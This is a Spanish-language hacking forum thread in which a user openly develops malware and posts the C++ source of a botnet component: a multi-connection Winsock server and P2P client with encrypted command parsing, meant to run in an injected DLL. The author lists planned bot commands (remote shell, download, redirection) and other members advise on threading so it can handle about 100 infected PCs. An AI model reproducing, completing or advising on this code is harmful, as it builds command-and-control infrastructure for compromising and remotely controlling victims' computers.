Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales
Autor
|
Tema: ¿ Servidor Multiconexion Thread o Funcion para ejecutar ordenes? (Leído 1,876 veces)
|
Jaixon Jax
Desconectado
Mensajes: 855
|
Bueno tal vez esto va mas en programacion en c++ pero como es para malware lo pregunto aqui.... ya que hace rato cree un posts en ese subforo y nada  estoy atollado en en una parte de diseño de un server ..... Este lo diseñe para que abriera un puerto y aceptara hasta 100 conexiones como veran cree un thread para escuchar solicitud de conexiones y en caso de recibir una creo un thread para escuchar por el puerto y socket especificado es decir cada cliente tiene su thread , el problema esta cuando le quiero enviar ordenes al servidor todo funciona bien pero aqui tengo una duda.. ¿Creo otro trhead para ejecutar la orden ? esto permitiria recibir varias ordenes simultaneas y ejecutarla de un mismo cliente, o creo una funcion que haga este trabajo esto limitaria un poco la custion por que hasta que no ejecute la funcion el thread relacionado no podria leer info nueva del socket .... , otra cuestion seria que hay tareas que necesitan detener la escucha hasta que no se ejecute pero no se si habra problemas con utilizar una misma funcion tantas veces y simultaneamente ..... Que me recomiendan ? La duda es importante por que si tomo la decision equivocada en este punto es considerable lo que me falta, y despues tendria que reescribir mucho ... PD. No es un RAT de conexion directa 
|
|
|
|
|
En línea
|
Tricalogo del buen forista: 1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo ..... 2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden .... 3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
|
|
|
|
Karcrack
|
No es mas sencillo crear un solo Thread que se encargue de escuchar y cada vez que se solicita X accion realizarla en un nuevo Thread, y seguir escuchando con el Thread inicial??
|
|
|
|
|
En línea
|
|
|
|
Jaixon Jax
Desconectado
Mensajes: 855
|
 Aqui esta el source : #include <winsock2.h> # include <windows.h> #include "ServidorTCP.h" #include "Loaddlls.h" #include "Encriptador.h" #include "P2PEngine.h" #include "Apis.h" //#include "Estructuras.h" //using namespace winsock2; bool ClientActivo=false; int IndiceClient=-1; Configuracion* CFS; P2PEngine* P2P; Cliente* C[MaxConection]; Cliente* Servers; int CCon=0; int iPort ; bool bInterface; bool bRecvOnly; char szAddress[128]; Cliente::Cliente() { Active=false; Sock =NULL; Bots=0; BotsNodo=0; ID=-1; strcpy(IP,"NULL"); strcpy(UserName,"NULL"); } Cliente::Cliente(int Ind) { Active=false; Sock =NULL; Bots=0; BotsNodo=0; ID=Ind; strcpy(IP,"NULL"); strcpy(UserName,"NULL"); } Cliente& Cliente::operator =(const Cliente& CL) { Active=CL.Active; Sock=CL.Sock; Bots=CL.Bots; BotsNodo=CL.BotsNodo ; strcpy(IP,CL.IP); strcpy(UserName,CL.UserName); return this; } bool BuscaProcesoX(char* nomb) { bool hay=false; HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); PROCESSENTRY32 procinfo={sizeof(PROCESSENTRY32)}; while(Process32Next(handle,&procinfo)) { if(lstrcmp(procinfo.szExeFile,LPCWSTR(nomb))==0) { hay=true; } } CloseHandle(handle); return hay; } Comandos::Comandos(char *Buf) { Parsear(Buf); } Comandos::~Comandos() { int Y=00; } void Comandos::Parsear(char* p) { char cad[2048]=""; char comandos1[512]=""; strcpy(cad,p); int i,ban,j,tam,k; tam=int(strlen(p)); ban=0; k=0; i=0; j=0; do { if(cad[i]!=' ') { comandos1 [j]=cad[i]; j++; ban=0; } else { if(ban==0&&k<=99) { comandos1[j]='\0'; if(strlen(comandos1)<=255) strcpy(ListStr[k],comandos1); k++; strcpy(comandos1," "); j=0; } ban++; } i++; } while(i<=tam-1); } int BuscarIndice() { for(int i=0;i<=MaxConection-1;i++) { if(!C[i]->Active) return i; } return -1; } void LimpiarSock(int indice) { C[indice]->Active=false; C[indice]->Sock =NULL; C[indice]->Bots=0; C[indice]->BotsNodo=0; strcpy(C[indice]->IP,"NULL"); strcpy(C[indice]->UserName,"NULL"); } bool ActionBot(SOCKET S, char* mBuf,int Indice) { Sleep(1000); MessageBoxA(0,"Hola","Gtr",MB_OK); Comandos* Orden =new Comandos(mBuf); return false; }
DWORD WINAPI ThreadSock(LPVOID lpParam) { int Indice=(int)lpParam; SOCKET sock=C[Indice]->Sock; char szBuff[DEFAULT_BUFFER]; char szBuff2[DEFAULT_BUFFER]; int ret; Encriptador *ENG=new Encriptador(); while(1) { ret = Myrecv(sock, szBuff, DEFAULT_BUFFER, 0); if (ret == 0) // Graceful close { if(Indice==IndiceClient) ClientActivo=false; LimpiarSock(Indice);break; } else if (ret == SOCKET_ERROR) { if(Indice==IndiceClient) ClientActivo=false; LimpiarSock(Indice); break; } else { szBuff[ret]='\0'; if(strcmp(C[Indice]->UserName,"NULL")==0) { ENG->Decriptar(C[Indice]->UserName,szBuff); } else if(strcmp(C[Indice]->IP,"NULL")==0) { ENG->Decriptar(C[Indice]->IP,szBuff); } else { ENG->Decriptar(szBuff2,szBuff); ActionBot(sock,szBuff2,Indice); strcpy(szBuff2,""); } strcpy(szBuff,""); } } return 0;
}
DWORD WINAPI ClientSock(LPVOID lp) { DWORD dwThreadId; char Ruta[MAX_PATH]; int indiceo; bool ban1=0; HANDLE hThread; char IPO[20]; if(BuscaProcesoX(CFS->SerName)) strcpy(Ruta,getenv("SystemRoot")); else strcpy(Ruta,getenv("USERPROFILE")); strcat(Ruta,"\\"); P2P = new P2PEngine(Ruta,CFS->SerListName,CFS->PortTCP); WSADATA wsd; SOCKET sClient; char szBuffer[DEFAULT_BUFFER]; int ret, i; struct sockaddr_in server; struct hostent *host = NULL; Servers= new Cliente(); if (MyWSAStartup(MAKEWORD(2,2), &wsd) != 0) { return 1; } sClient = Mysocket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sClient == INVALID_SOCKET) { return 1; } do { strcpy(IPO,P2P->BuscarIpDisponible() ); if(strcmp(IPO,"NULL")!=0) { server.sin_family = AF_INET; server.sin_port = Myhtons(CFS->PortTCP); server.sin_addr.s_addr = Myinet_addr(IPO); if (server.sin_addr.s_addr == INADDR_NONE) { host = Mygethostbyname(IPO); if (host == NULL) { ban1=true; } CopyMemory(&server.sin_addr, host->h_addr_list[0],host->h_length); } if(ban1==0) if (Myconnect(sClient, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR) { ban1=true; } else { indiceo=BuscarIndice(); if(indiceo>=0) { C[indiceo]->Sock=sClient; IndiceClient=indiceo; hThread = CreateThread(NULL, 0,ThreadSock, (LPVOID)(indiceo), 0, &dwThreadId); if (hThread == NULL) { ban1=true; IndiceClient=-1; break; } else { ClientActivo=true; do { Sleep(15000); } while(ClientActivo); MyClosesocket(sClient); } } } } } while(1); MyWSACleanup(); return 0; } DWORD WINAPI Listen(LPVOID LParam) { int indiceo=-1; WSADATA wsd; SOCKET sListen, sClient; int iAddrSize; HANDLE hThread; DWORD dwThreadId; struct sockaddr_in local, client; if (MyWSAStartup(MAKEWORD(2,2), &wsd) != 0) { return 1; } sListen = Mysocket(AF_INET, SOCK_STREAM, IPPROTO_IP); if (sListen == SOCKET_ERROR) { return 1; } if (!bInterface) local.sin_addr.s_addr = Myhtonl(INADDR_ANY); local.sin_family = AF_INET; local.sin_port = Myhtons(iPort); if (Mybind(sListen, (struct sockaddr *)&local,sizeof(local)) == SOCKET_ERROR) { return 1; } Mylisten(sListen, 8); while (1) { iAddrSize = sizeof(client); indiceo=BuscarIndice(); if(indiceo>=0) { sClient = Myaccept(sListen, (struct sockaddr *)&client,&iAddrSize); if (sClient == INVALID_SOCKET) { break; } C[indiceo]->Sock=sClient; C[indiceo]->Active=true; hThread = CreateThread(NULL, 0,ThreadSock, (LPVOID)(indiceo), 0, &dwThreadId); if (hThread == NULL) { C[indiceo]->Active=false; break; } CloseHandle(hThread); } } MyClosesocket(sListen); MyWSACleanup(); return 0; } bool ChequearConeccion(char* Host) { in_addr *o; char *p; hostent* hp; int ban,exitcode; WSADATA wsadata; if (MyWSAStartup(MAKEWORD(1, 0), &wsadata) != 0) ban= 0; else { try { hp = Mygethostbyname(Host );
} catch(...) { hp = NULL; } if (hp == NULL) ban=0; else ban =1; } MyWSACleanup( ); return ban; } ServidorTCP::ServidorTCP(Configuracion* CF) { int g=0; CFS=CF; iPort = CFS->PortTCP; bInterface = FALSE; bRecvOnly = FALSE; DWORD dwThreadId; IniciarClientList(); MyCreateThread(NULL, 0,(LPTHREAD_START_ROUTINE) (Listen), NULL, 0, &dwThreadId); if(ChequearConeccion("www.google.es")) MyCreateThread(NULL, 0,(LPTHREAD_START_ROUTINE) (ClientSock), NULL, 0, &dwThreadId); }
void ServidorTCP::IniciarClientList() { for(int i=0;i<=MaxConection-1;i++) { C[i]= new Cliente(i); } } Bueno la duda esta en DWORD WINAPI ThreadSock(LPVOID lpParam) ActionBot no se si dejarla como esta o convertirla en un thread .... PD: El ingles en mi source es por que programo en spanglish  Edito: Todo ese code es funcional y no es copy & past yo he probado hasta con 5 clientes conectados y al parecer funciona como esta pero no se que pasara con 100 pcs si es mejor un thread o procesar orden a orden .....
|
|
|
|
« Última modificación: 5 Febrero 2010, 21:26 por Jaixxon Jax »
|
En línea
|
Tricalogo del buen forista: 1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo ..... 2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden .... 3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
|
|
|
|
[Zero]
|
Yo creo que dependerá un poco del tipo de función que quieras ejecutar, si es una función rápida tipo leer X registro, no es nada útil crear un thead, en cambio si es una función que tiene que estar algún tiempo en ejecución si es necesario que crees un thread, al menos uno para no perder la conexión y poder abortar la orden, y más si quieres que pueda recibir más órdenes.
Si no sabes aún que tipo de funciones tendrá que ejecutar, yo varios threads.
Saludos
|
|
|
|
|
En línea
|
“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.” Nietzsche
|
|
|
Jaixon Jax
Desconectado
Mensajes: 855
|
Pues por los momentos son actualizacion de dominios, activacion de algunas herramientas, actualizacion, shell remote, dowload , y redireccion yo queria hacer todo encapsulado pero con los threads es un lio, esto va en una dll inyectada por lo tanto son dos ficheros... me inmagino que tantos threads afectaran en algo el rendimiento del PC  Saludos .. La version que termine en Builder c++ esta completa pero el exe es gigantesco 1.3 MB  es tan grande que seria mejor propagarla en un CD de Instalacion  pero sorprendentemente es funcional  . esta la quiero terminar para Abril Negro 
|
|
|
|
« Última modificación: 5 Febrero 2010, 22:57 por Jaixxon Jax »
|
En línea
|
Tricalogo del buen forista: 1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo ..... 2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden .... 3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
|
|
|
|
[Zero]
|
Bueno, yo una vez tambien tuve problemas con los callbacks y el puntero this, pero con un poquito de asm inline lo puedes arreglar, aunque hay otras formas de hacerlo: http://www.codeproject.com/KB/cpp/Ellipses.aspx Lo que deberías hacer es crear un hilo para cada funcion, pero dejando la posibilidad de que desde el cliente se pueda enviar una orden que termine la ejecución de todos los hilos  . Saludos
|
|
|
|
|
En línea
|
“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.” Nietzsche
|
|
|
Jaixon Jax
Desconectado
Mensajes: 855
|
Pues si optare por los threads gracias Hacker_Zero
|
|
|
|
|
En línea
|
Tricalogo del buen forista: 1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo ..... 2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden .... 3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
|
|
|
|
|